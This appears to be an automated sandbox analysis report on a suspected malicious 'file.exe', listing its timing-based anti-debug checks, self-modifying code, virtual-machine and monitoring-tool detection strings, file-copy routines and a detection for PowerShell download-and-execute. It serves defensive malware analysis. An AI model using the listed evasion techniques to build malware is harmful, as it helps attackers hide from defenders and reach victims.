Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3286E second address: A32874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32874 second address: A3287A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3287A second address: A3288B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 jp 00007F7F147AEA46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3288B second address: A32891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32891 second address: A328A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F7F147AEA4Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32BF0 second address: A32BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32FF8 second address: A32FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33177 second address: A3317D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3317D second address: A33183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33183 second address: A33188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A332E8 second address: A332EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37D37 second address: A37D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F7F1511CE2Ah 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F7F1511CE2Fh 0x00000013 jc 00007F7F1511CE26h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E501 second address: A3E51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA58h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E946 second address: A3E94B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A441AE second address: A441D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007F7F147AEA5Dh 0x0000000b jmp 00007F7F147AEA57h 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F7F147AEA46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45A4A second address: A45A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45A4E second address: A45A7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7F147AEA4Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F7F147AEA58h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45A7A second address: A45A9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 jmp 00007F7F1511CE2Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jns 00007F7F1511CE26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45A9D second address: A45AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7F147AEA46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45AAC second address: A45AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A495A8 second address: A495BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7F147AEA4Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A495BE second address: A495C3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A496DC second address: A496F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F7F147AEA46h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push esi 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FEEB second address: A4FEF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57992 second address: A579B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA59h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59DD2 second address: A59DE0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59DE0 second address: A59DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9948E1 second address: 9948FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F3A4 second address: A6F3E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F7F147AEA59h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F147AEA4Eh 0x00000013 jmp 00007F7F147AEA50h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A723DE second address: A723E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73A00 second address: A73A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73A0F second address: A73A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73A13 second address: A73A2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA51h 0x00000007 jc 00007F7F147AEA46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73A2E second address: A73A3C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F1511CE28h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73A3C second address: A73A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B83C second address: A7B850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1511CE30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A393 second address: A7A397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A397 second address: A7A3CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7F1511CE39h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A3CC second address: A7A3E8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F147AEA4Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F7F147AEA46h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A3E8 second address: A7A3EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A3EC second address: A7A3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 996482 second address: 996488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F87F second address: A7F883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F883 second address: A7F8A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F7F1511CE3Ah 0x0000000e jmp 00007F7F1511CE34h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F8A5 second address: A7F8BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA50h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FA82 second address: A7FAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1511CE30h 0x00000009 popad 0x0000000a jmp 00007F7F1511CE33h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FAAA second address: A7FAB4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F147AEA4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CC51 second address: A9CC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1511CE2Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E97A second address: A9E97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E97E second address: A9E984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD717 second address: AAD721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7F147AEA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE2D second address: AADE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7F1511CE26h 0x0000000a jl 00007F7F1511CE26h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE3E second address: AADE48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F7F147AEA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE48 second address: AADE52 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F1511CE26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE10C second address: AAE112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE242 second address: AAE24C instructions: 0x00000000 rdtsc 0x00000002 js 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB109A second address: AB10B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA51h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3CF0 second address: AB3CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3CF5 second address: AB3D00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F7F147AEA46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3F4A second address: AB3F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3F4E second address: AB3F54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3F54 second address: AB3FC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F7F1511CE35h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 call 00007F7F1511CE2Bh 0x00000015 jnp 00007F7F1511CE29h 0x0000001b adc dh, FFFFFF8Fh 0x0000001e pop edx 0x0000001f push dword ptr [ebp+122D2971h] 0x00000025 jnc 00007F7F1511CE36h 0x0000002b push 29A5B6F5h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F7F1511CE37h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3FC5 second address: AB3FCF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F147AEA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3FCF second address: AB3FD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7376 second address: AB737A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB737A second address: AB738C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F7F1511CE2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480239 second address: 5480248 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480248 second address: 548024E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548024E second address: 5480252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480252 second address: 548028C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F7F1511CE2Ah 0x00000010 or ch, FFFFFFF8h 0x00000013 jmp 00007F7F1511CE2Bh 0x00000018 popfd 0x00000019 movzx ecx, di 0x0000001c popad 0x0000001d mov dword ptr [esp], ebp 0x00000020 pushad 0x00000021 movsx edi, si 0x00000024 mov dx, cx 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d mov edi, eax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548028C second address: 54802B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F7F147AEA4Ah 0x0000000c xor ecx, 25DF0888h 0x00000012 jmp 00007F7F147AEA4Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802B6 second address: 54802BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 4364h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480346 second address: 548034C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548034C second address: 5480351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDC1 second address: 9CFDE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F7F147AEA46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDE3 second address: 9CFDE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8219E4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9C686F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9ECA21 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005D38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005D4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005CDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005CE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_005D4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005CED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005CBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005CDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005C16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005CF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_005D3EA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C1160 GetSystemInfo,ExitProcess,

0_2_005C1160

Source: file.exe, file.exe, 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2215149403.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`\|P
Source: file.exe, 00000000.00000002.2215149403.0000000001505000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13352
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13349
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13372
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13404
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13364

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005C45C0

Source: C:\Users\user\Desktop\file.exe

0_2_005D9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D9750 mov eax, dword ptr fs:[00000030h]

0_2_005D9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005D7850

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4392, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005D9600

